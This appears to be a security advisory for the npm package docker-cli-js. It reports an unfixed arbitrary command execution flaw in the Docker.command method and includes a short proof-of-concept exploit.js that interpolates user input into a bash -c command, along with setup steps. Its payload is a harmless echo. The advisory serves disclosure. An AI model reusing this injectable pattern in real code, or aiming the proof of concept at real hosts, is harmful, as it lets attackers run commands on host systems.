There is no fixed version for docker-cli-js.
Overview
Affected versions of this package are vulnerable to Arbitrary Code Execution. If the command parameter of the Docker.command method can at least be partially controlled by a user, they will be in a position to execute any arbitrary OS commands on the host system.
Steps to Reproduce
Create a file named
exploit.jswith the following content:var dockerCLI = require('docker-cli-js'); var DockerOptions = dockerCLI.Options; var Docker = dockerCLI.Docker;var docker = new Docker();
var userInput = "echo 'Hello from the container'";
docker.command(
exec container-test bash -c "${userInput}", function (err, data) { console.log('data = ', data); });In the same directory as
exploit.js, runnpm install docker-cli-js.Create a background Docker container named
container-test:docker run --name container-test -d ubuntu sleep 1000Run
exploit.js:node exploit.js.
You should see the outputs of both the container and host system.
